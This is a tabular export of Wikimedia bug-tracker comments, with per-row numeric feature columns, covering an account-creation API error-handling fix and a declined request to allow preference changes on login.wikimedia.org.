https://gerrit.wikimedia.org/r/111118",,,1391469822,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,30.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.173913043478261,1.0,"Change 111118 had a related patch set uploaded by MaxSem:
Update ConfirmEdit to return Status object on AbortNewAccount hook

GERRIT_URL"
281890,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 111113 had a related patch set uploaded by JGonera:
Add Status outparam for AbortNewAccount hook to fix API error handling

https://gerrit.wikimedia.org/r/111113",,,1391469016,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,28.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.88,1.0,"Change 111113 had a related patch set uploaded by JGonera:
Add Status outparam for AbortNewAccount hook to fix API error handling

GERRIT_URL"
281884,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 108088 merged by jenkins-bot:
Add Status outparam for AbortNewAccount hook to fix API error handling

https://gerrit.wikimedia.org/r/108088",,,1390508822,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.7727272727272725,1.0,"Change 108088 merged by jenkins-bot:
Add Status outparam for AbortNewAccount hook to fix API error handling

GERRIT_URL"
281877,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 108089 merged by jenkins-bot:
Update ConfirmEdit to return Status object on AbortNewAccount hook

https://gerrit.wikimedia.org/r/108089",,,1390001573,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-76,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,15.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.15,1.0,"Change 108089 merged by jenkins-bot:
Update ConfirmEdit to return Status object on AbortNewAccount hook

GERRIT_URL"
281872,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes",Yay! :),,,1389994644,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,True,,,-76,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,Yay! :)
281866,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","(In reply to comment #6)
> Any strong objections to using this existing approach as a basic fix?

Nope (as indicated by my +1).",,,1389992813,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-76,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,5.0,20.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6,0.9,"(In reply to comment #6)
QUOTE

Nope (as indicated by my +1)."
281860,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","(In reply to comment #3)
> The issue here is that the Status class is too intertwined with the Message
> class, and this was even before RawMessage was introduced. When you made a
> Status object, it was assumed any error keys were backed by messages.
> 
> The solution should be that the concerns need to be separated. The Status
> class
> should not have anything to do with the Message class. However, that may be a
> bit difficult to achieve, so at the very least there needs to be a separation
> between error codes and message keys.

I'd rather not redo the entire interface of SpecialUserlogin and ApiCreateAccount just to get this going. Any strong objections to using this existing approach as a basic fix?",,,1389992375,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,True,,,-76,True,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,24.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,10.0,14.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.8620689655172415,0.6724137931034483,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'd rather not redo the entire interface of SpecialUserlogin and ApiCreateAccount just to get this going. Any strong objections to using this existing approach as a basic fix?"
281853,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 108089 had a related patch set uploaded by Brion VIBBER:
Update ConfirmEdit to return Status object on AbortNewAccount hook

https://gerrit.wikimedia.org/r/108089",,,1389990977,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-76,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,33.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.166666666666667,1.0,"Change 108089 had a related patch set uploaded by Brion VIBBER:
Update ConfirmEdit to return Status object on AbortNewAccount hook

GERRIT_URL"
281847,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 108088 had a related patch set uploaded by Brion VIBBER:
Add Status outparam for AbortNewAccount hook to fix API error handling

https://gerrit.wikimedia.org/r/108088",,,1389990808,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-76,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,31.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.846153846153846,1.0,"Change 108088 had a related patch set uploaded by Brion VIBBER:
Add Status outparam for AbortNewAccount hook to fix API error handling

GERRIT_URL"
281842,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","The issue here is that the Status class is too intertwined with the Message class, and this was even before RawMessage was introduced. When you made a Status object, it was assumed any error keys were backed by messages.

The solution should be that the concerns need to be separated. The Status class should not have anything to do with the Message class. However, that may be a bit difficult to achieve, so at the very least there needs to be a separation between error codes and message keys.",,,1389990545,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-76,True,1.0,1.0,1.0,5.0,1.0,2.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,13.0,1.0,4.0,2.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,10.0,11.0,4.0,2.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,13.0,6.0,0.0,0.0,0.0,2.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,4.121212121212121,0.6262626262626263,"The issue here is that the Status class is too intertwined with the Message class, and this was even before RawMessage was introduced. When you made a Status object, it was assumed any error keys were backed by messages.

The solution should be that the concerns need to be separated. The Status class should not have anything to do with the Message class. However, that may be a bit difficult to achieve, so at the very least there needs to be a separation between error codes and message keys."
281838,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","I think the thing to do here is to allow sending back a *useful* Status object from the hook in place of just a string, which should be able to return a sane error. Lemme try...",,,1389988805,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,True,,,-76,True,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,17.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,7.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,17.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,3.4634146341463414,0.8536585365853658,"I think the thing to do here is to allow sending back a *useful* Status object from the hook in place of just a string, which should be able to return a sane error. Lemme try..."
281834,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes",Taking this as we want this to work smoothly for mobile apps.,,,1389987946,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,True,,,-76,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.8461538461538463,0.9230769230769231,Taking this as we want this to work smoothly for mobile apps.
61692,Personal adjustment of setting on login.wikimedia.org,"Hey,

it would be really nice if you guys would enable the possibility to change ones preferences on login.wikimedia.org.

Currently that's not possible, but as a steward I sometimes use the wiki to run checks and I'd like to change the skin to monobook and I could imagine that some folks would also like to change their language.

Thanks!

[[m:User:Barras]]

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://login.wikimedia.org",Medium,50.0,1388947980,1389016531.0,PHID-USER-w5jfyyrsmzhqbvis3i23,False,,False,PHID-TASK-ya7ixamk5dnx7p423utt,task_description,declined,True,c3,1,False,False,True,-78,True,1.0,0.0,0.0,0.0,0.5,3.0,0.5,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,1.5,0.0,3.0,5.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,1.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,13.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,9.0,1.5,1.5,3.5,0.0,0.0,1.0,0.0,6.0,0.5,0.0,0.0,3.5,5.5,1.5,0.0,0.0,0.0,3.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,3.6915820029027575,0.6752539912917271,"Hey,

it would be really nice if you guys would enable the possibility to change ones preferences on login.wikimedia.org.

Currently that's not possible, but as a steward I sometimes use the wiki to run checks and I'd like to change the skin to monobook and I could imagine that some folks would also like to change their language.

Thanks!

[[m:User:Barras]]

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
263443,Personal adjustment of setting on login.wikimedia.org,"The stewards are the only ones using this wiki, and they now have the ability to customise their preferences (which was the intent of this bug report). Therefore, WONTFIXing.",,,1389016531,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,9.0,0.0,3.0,20.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.171428571428572,0.8571428571428571,"The stewards are the only ones using this wiki, and they now have the ability to customise their preferences (which was the intent of this bug report). Therefore, WONTFIXing."
263438,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #16)
> Barras, stewards can just add the 'editmyoptions' right into their CA global
> group and it should work fine.

Thanks for the advice, that fixed the issue. Although I think that this should still be enabled, I just gave stewards the right to edit their own settings, which works well.

I understand that page creations etc are not allowed, that really makes sense for the wiki, but I fail to see a reason why people should not be allowed to change their setting on this wiki.

But whatever, I think I won't waste my time with that as the experience sadly shows that it usually turns out totally useless to argue here. So long, and thanks for the advice, Legoktm...",,,1389014782,,PHID-USER-w5jfyyrsmzhqbvis3i23,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,1.0,2.0,2.0,1.5,0.0,0.0,0.5,0.0,1.5,1.0,0.0,0.0,0.0,4.5,0.0,9.5,11.0,0.0,3.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,4.5,1.0,2.0,0.0,0.0,0.5,0.0,1.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,2.0,12.5,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,0.0,1.0,1.0,0.0,1.0,4.5,2.0,8.5,3.0,2.5,8.0,0.0,0.0,0.0,0.5,5.5,0.0,0.5,0.0,6.5,11.0,1.0,0.0,0.0,0.0,6.5,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.5,3.769230769230769,0.7846153846153846,"(In reply to comment #16)
QUOTE
QUOTE

Thanks for the advice, that fixed the issue. Although I think that this should still be enabled, I just gave stewards the right to edit their own settings, which works well.

I understand that page creations etc are not allowed, that really makes sense for the wiki, but I fail to see a reason why people should not be allowed to change their setting on this wiki.

But whatever, I think I won't waste my time with that as the experience sadly shows that it usually turns out totally useless to argue here. So long, and thanks for the advice, Legoktm..."
263431,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #15)
> (In reply to comment #10) 
> > Anyone would think we made those changes for a reason
> 
> Could you elaborate on what that reason is? It would be helpful to know.

For example Site CSS and JS was disabled for a security related reason.

The rest mostly because there's really no reason for 99.9999999% of users to know it even exists, never mind actually visit or try and use it for anything.

There's nothing that can/should be doing at the wiki. It serves exists mostly for technical reasons. If we had allowed editing, we'd would've had a spam of people creating their userpages, personal JS and CSS etc.

https://github.com/wikimedia/operations-mediawiki-config/commit/e61684d0f4b43ab4192e484521f898d900158fb3

https://github.com/wikimedia/operations-mediawiki-config/commit/0381c081072f092e187a907ac538a97da16c0fdb

https://bugzilla.wikimedia.org/show_bug.cgi?id=46902 has some of the related discussions",,,1388971463,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,1.0,1.0,0.0,0.0,0.0,3.0,0.5,0.5,0.0,1.0,0.5,1.5,0.0,0.0,1.5,1.5,0.0,3.5,8.5,1.5,1.0,1.0,0.0,0.0,1.5,0.5,0.0,0.0,1.0,1.5,1.0,5.0,2.5,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.5,1.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,1.5,11.5,1.5,2.5,5.0,0.0,0.0,0.0,0.5,5.0,0.0,1.0,0.0,4.5,8.5,4.0,0.0,0.0,0.0,4.5,0.0,1.0,1.5,0.0,1.5,0.0,0.0,1.5,3.748677948175568,0.7886039132734003,"(In reply to comment #15)
QUOTE
QUOTE
QUOTE
QUOTE

For example Site CSS and JS was disabled for a security related reason.

The rest mostly because there's really no reason for 99.9999999% of users to know it even exists, never mind actually visit or try and use it for anything.

There's nothing that can/should be doing at the wiki. It serves exists mostly for technical reasons. If we had allowed editing, we'd would've had a spam of people creating their userpages, personal JS and CSS etc.

URL

URL

URL has some of the related discussions"
263424,Personal adjustment of setting on login.wikimedia.org,"Barras, stewards can just add the 'editmyoptions' right into their CA global group and it should work fine.",,,1388970795,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,5.0,5.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.9545454545454546,"Barras, stewards can just add the 'editmyoptions' right into their CA global group and it should work fine."
263416,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #10) 
> Anyone would think we made those changes for a reason

Could you elaborate on what that reason is? It would be helpful to know.",,,1388966619,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,7.0,4.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,15.0,0.0,4.0,0.0,7.0,15.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.259259259259259,0.9629629629629629,"(In reply to comment #10) 
QUOTE

Could you elaborate on what that reason is? It would be helpful to know."
263409,Personal adjustment of setting on login.wikimedia.org,"Thanks for filing this bug, Barras. I filed bug 59701 and bug 59702 related to login.wikimedia.org.",,,1388966472,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,11.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.421052631578948,0.8421052631578947,"Thanks for filing this bug, Barras. I filed bug 59701 and bug 59702 related to login.wikimedia.org."
263403,Personal adjustment of setting on login.wikimedia.org,"In my preferences the language is set to English (which I absolutely don't mind, I'd use English anyway!), whoever the drop-down menu to change that is at least for me locked on that page. No idea what other ways there might be to change that, also that does not really matter to me.

So what is the reason why people can not be allowed to change their settings? Why is it set to vector and not to one of the other possibilities?",,,1388964824,,PHID-USER-w5jfyyrsmzhqbvis3i23,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,1.0,3.0,4.0,3.0,3.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,5.0,0.0,11.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,2.0,0.0,1.0,4.0,6.0,8.0,2.0,1.0,9.0,0.0,0.0,1.0,0.0,9.0,0.0,1.0,0.0,7.0,13.0,2.0,2.0,0.0,0.0,7.0,0.0,7.0,0.0,2.0,0.0,0.0,1.0,0.0,3.597938144329897,0.6907216494845361,"In my preferences the language is set to English (which I absolutely don't mind, I'd use English anyway!), whoever the drop-down menu to change that is at least for me locked on that page. No idea what other ways there might be to change that, also that does not really matter to me.

So what is the reason why people can not be allowed to change their settings? Why is it set to vector and not to one of the other possibilities?"
263398,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #11)
> I really see no reason why users there, especially those who use that project
> shouldn't be allowed to decide themselves which language they want to see, or
> which skin they want to use. There is no reason to restrict that to some
> randomly chosen setting.

It's hardly random

And they can set their language",,,1388964414,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,11.0,7.0,7.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.75,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE

It's hardly random

And they can set their language"
263394,Personal adjustment of setting on login.wikimedia.org,"I really see no reason why users there, especially those who use that project shouldn't be allowed to decide themselves which language they want to see, or which skin they want to use. There is no reason to restrict that to some randomly chosen setting.

